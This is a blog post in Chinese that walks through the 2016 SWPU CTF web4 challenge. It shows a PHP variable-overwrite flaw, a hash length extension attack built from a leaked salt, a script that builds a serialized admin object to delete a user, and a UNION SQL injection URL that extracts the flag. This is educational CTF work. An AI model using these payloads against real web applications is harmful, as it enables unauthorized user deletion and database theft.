详解2016 SWPU CTF web4

2016年的swpu结束了,很精彩,我玩的很开心

这个题目我在比赛的时候没有做出来,后来根据官方的wp复现了一遍,学到很多东西,官方的wp地址是:http://bobao.360.cn/ctf/detail/173.html

官方给的web4的题解不是特别详细

现在我详细的讲解一下web4,我会详细讲解web4所有的知识点

首先网站有源码泄露,在:web4.08067.me/web/web.zip会下载到题目的源码,如果题目关闭,那么可以在:http://download.csdn.net/detail/niexinming/9668469 下载的到

下载源码之后在common.php中发现:

foreach(Array("_POST","_GET","_COOKIE") as $key){
	foreach($$key as $k => $v){
		if(is_array($v)){
		die("hello,hacker!");
		}
		else{
			$k[0] !='_'?$$k = addslashes($v):$$k = "";
		}
	}
}

这段代码很经典啊,是《代码审计:企业级Web代码安全架构》经典例子

这里我简单讲一下,php的$$是:

可变变量
$first ="hello";
$hello ="world";
echo $first." ".$$first;
结果是 hello world


然后说一下上面的代码到底有啥危害:

这个从post,get,cookie中拿到数据,然后会覆盖这段代码未初始化的任何变量,注意前提:(1)这段代码下面的变量,(2)任意未初始化的变量

举例:

foreach(Array("_POST","_GET","_COOKIE") as $key){
	foreach($$key as $k => $v){
		if(is_array($v)){
		die("hello,hacker!");
		}
		else{
			$k[0] !='_'?$$k = addslashes($v):$$k = "";
		}
	}
}

$a=1;
echo $a;
echo "<br>";
$b;
echo $b;

如果访问http://localhost/common.php?a=hehe&b=admin

那么输出则是

1

admin

可以看出$b被传递进来的参数覆盖


然后我们在 riji.php 这里发现了

if($_SESSION['user'])
{
	$username = $_SESSION['user'];
	@mysql_conn();
	$sql = "select * from user where name='$username'";
	$result = @mysql_fetch_array(mysql_query($sql));
	mysql_close();
	if($result['userid'])
	{
		$id = intval($result['userid']);
	}
}

这里有个思路就是先利用api.php的一个接口函数从数据库删除我现在登陆的用户,使select * from user where name='$username'查询为空,因为我们一直登陆,所以session会在服务器端保持我们登陆的状态(也就是说服务器端的session不会注销),所以if($_SESSION['user'])在注销之前一直为真,所以当我们在数据库中删除我们登陆的用户之后,则使:$id = intval($result['userid']); 这里$id成为一个未被初始化的变量,然后就可以被任意覆盖

然后就可以在下面的这个代码中造成sql注入(还是在 riji.php中)

<?php
				@mysql_conn();
				$sql1 = "select * from msg where userid= $id order by id";
				$query = mysql_query($sql1);
				$result1 = array();
				while($temp=mysql_fetch_assoc($query)) {
					$result1[]=$temp;
				}
				mysql_close();
				foreach($result1 as $x=>$o)
				{
					echo display($o['msg']);
				}
				?>


下面我们就要利用api.php提供的接口函数

因为这个文件被当做公共库被包含,在api.php的最下面找到:

$a = unserialize(base64_decode($api));
$a->do_method();

其中$api没有被初始化,所以这里我们就可以利用这个参数来控制admin这个类

根据流程,我们追到check这个关键函数,这里有个哈希拓展漏洞可以利用:

function check(){
		$username = addslashes($this->name);//进入数据库的数据进行转义
		@mysql_conn();
		$sql = "select * from user where name='$username'";
		$result = @mysql_fetch_array(mysql_query($sql));
		mysql_close();
		if(!empty($result)){
			//利用 salt 验证是否为该用户
			if($this->check === md5($result['salt'] . $this->data . $username)){
				echo '(=-=)!!';
				if($result['role'] == 1){//检查是否为admin用户
					return 1;
				}
				else{
					return 0;
				}
			}
			else{
				return 0;
			}
		}
		else{
			return 0;
		}
	}

哈希拓展攻击我提供几个文章:

官方web客服提供的参考:http://www.joychou.org/index.php/web/hash-length-extension-attack.html

我自己找的几个:http://blog.csdn.net/syh_486_007/article/details/51228628

http://www.cnblogs.com/pcat/p/5478509.html


原理其实是:根据md5(密钥+已知数据)的值,和密钥的长度,可以推算处md5(密钥+已知数据+可控数据)的值,并且可以计算出正确的可控数据

首先先寻找admin的salt,根据源代码可以在找回密码的地方找到泄露任意用户salt的地方

首先在找回密码的用户名填:admin,剩下的随便填,然后点找回,就会提示密保不正确,而这个跳转的链接里面正好包含admin的salt:

http://web4.08067.me/web/repass.php?username=admin&check=OTE3Y2M4N2Y4OGI4ODMzNjMyYjAxMjQxOGE3MjExYWQ=&mibao=admin&pass=admin

把check解码之后得出:917cc87f88b8833632b012418a7211ad

我把这个记录下来之后,利用这里提供工具进行哈希拓展的破解:https://github.com/JoyChou93/md5-extension-attack

这样使用这个工具:


python md5pad.py 917cc87f88b8833632b012418a7211ad admin 16
Payload:  '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00admin'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00admin
md5: 8f4d7a58b13a34d34f8384595a3de5f7



其中917cc87f88b8833632b012418a7211ad是admin的salt,后面的admin是要添加的数据,16是salt的长度

拿到payload和生成好的md5,然后根据check的流程构造一个调用那个删除用户的接口函数,下面是构造删除当前用户的的代码:

对了,这里面要确定要删除用户的userid是哪一个,在用户登陆的跳转的地方用burp停一下,返回的数据里面的cookie里面有当前用户的userid(base64加密之后的数据)

得到这些之后构造代码:

<?php
class admin {
                  var $name="admin";
	var $check="8f4d7a58b13a34d34f8384595a3de5f7";   //要check的md5
	var $data="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";  //工具生成好的可控变量(payload)
        
                 
	var $method="del_user";   //要调用的函数
	var $userid="94";  //要删除的用户
	
       
}

$a=new admin();
 $api=base64_encode(serialize($a));
 echo $api;


然后得到一个base64的编码的字符串:

Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI5NCI7fQ==

然后新开一个浏览器或者打开浏览器的隐私访问功能访问(因为代码中检测如果你是登陆状态的话就会跳转到/web/riji.php):

http://web4.08067.me/web/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI5NCI7fQ==

你会发现提示:

(=-=)!!<script>alert("Delete user success!!")</script>

成功删除之后就可以调用http://web4.08067.me/web/riji.php?id=1进行注入了

很简单union的方法就可以注入出flag了:

http://web4.08067.me/web/riji.php?id=-1 union select 1,2,(select flag from flag)

可以看到激动人心的一幕:

阅读更多
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/52976923
个人分类: ctf的wp
上一篇BurpSuite1.7/1.6拦截https
下一篇sycsec的一道审计题目
想对作者说点什么? 我来说一句

没有更多推荐了,返回首页

关闭
关闭
关闭